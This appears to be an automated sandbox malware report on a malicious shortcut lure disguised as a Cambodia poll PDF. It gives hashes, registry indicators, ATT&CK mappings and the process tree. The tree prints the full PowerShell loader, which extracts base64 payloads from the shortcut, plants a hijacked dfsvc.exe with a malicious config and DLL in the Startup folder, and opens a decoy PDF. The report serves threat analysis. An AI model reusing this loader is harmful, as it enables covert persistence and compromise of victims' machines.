913830666dd46e96e5ecbecc71e686e3c78d257ec7f5a0d0a451663251715800

General

Target

Quarterly Cambodia Poll Appendix.pdf.lnk
Size

2.2MB
MD5

23d55b0f6a502c7ed3a70d41272b0732
SHA1

36a2c2cd63e3ca23a7934cfb3e7a957f2b5363f8
SHA256

cfbd704cab3a8edd64f8bf89da7e352adf92bd187b3a7e4d0634a2dc764262b5
SHA512

53984a522f5629f3bf64e62f9855254c74497388f0632e76b00fb16fba7b7fb45ffe2c0db7cd0e7016847f2a5d966e42b3081a47d6fc9a067c6bd0d9d9e752af
SSDEEP

49152:zrdLymX/jNT7IBkZw3xFdyaxDadhCtbdMuC4vmYrl4GRGjEOaUJiuw:

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	cmd.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d.exe	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe

Modifies registry class 20 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Documents"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e80922b16d365937a46956b92703aca08af0000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3664	explorer.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4844	powershell.exe
4844	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4844	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3664	explorer.exe
3664	explorer.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 812 wrote to memory of 4844	812	cmd.exe	83
PID 812 wrote to memory of 4844	812	cmd.exe	83
PID 4844 wrote to memory of 3692	4844	powershell.exe	84
PID 4844 wrote to memory of 3692	4844	powershell.exe	84

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Quarterly Cambodia Poll Appendix.pdf.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c $t=$env:appdata+'\Microsoft\Windows\Start Menu\Programs\Startup';if(Get-ChildItem $env:temp -recurse 'Quarterly Cambodia Poll Appendix.pdf.lnk'){$k=New-Object IO.FileStream ($env:temp+'\'+((Get-ChildItem $env:temp -recurse 'Quarterly Cambodia Poll Appendix.pdf.lnk').Directory).Name+'\'+'Quarterly Cambodia Poll Appendix.pdf.lnk'),'Open','Read','ReadWrite'}else{$k=New-Object IO.FileStream 'Quarterly Cambodia Poll Appendix.pdf.lnk','Open','Read','ReadWrite'};$b=New-Object byte[](2298152);$k.Seek(2953,[IO.SeekOrigin]::Begin);$k.Read($b,0,2298152);$a=[Text.Encoding]::Unicode.GetString([Convert]::FromBase64CharArray($b,0,$b.Length)) -split ':';copy 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe' ($t+'\d.exe');[IO.File]::WriteAllBytes($t+'\d.exe.config',[Convert]::FromBase64""String($a[0]));[IO.File]::WriteAllBytes($t+'\DomainManager.dll',[Convert]::FromBase64""String($a[1]));[IO.File]::WriteAllBytes($env:temp+'\e.pdf',[Convert]::FromBase64""String($a[2]));explorer ($env:temp+'\e.pdf');
  2⤵
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4844
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe" C:\Users\Admin\AppData\Local\Temp\e.pdf
    3⤵
    PID:3692

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n2dxrxkt.nkp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4844-2-0x00007FFE70903000-0x00007FFE70905000-memory.dmp

Filesize
8KB

Download
memory/4844-3-0x000001EAC7A30000-0x000001EAC7A52000-memory.dmp

Filesize
136KB

Download
memory/4844-13-0x00007FFE70900000-0x00007FFE713C1000-memory.dmp

Filesize
10.8MB

Download
memory/4844-14-0x00007FFE70900000-0x00007FFE713C1000-memory.dmp

Filesize
10.8MB

Download
memory/4844-15-0x00007FFE70900000-0x00007FFE713C1000-memory.dmp

Filesize
10.8MB

Download
memory/4844-16-0x00007FFE70900000-0x00007FFE713C1000-memory.dmp

Filesize
10.8MB

Download
memory/4844-20-0x00007FFE70900000-0x00007FFE713C1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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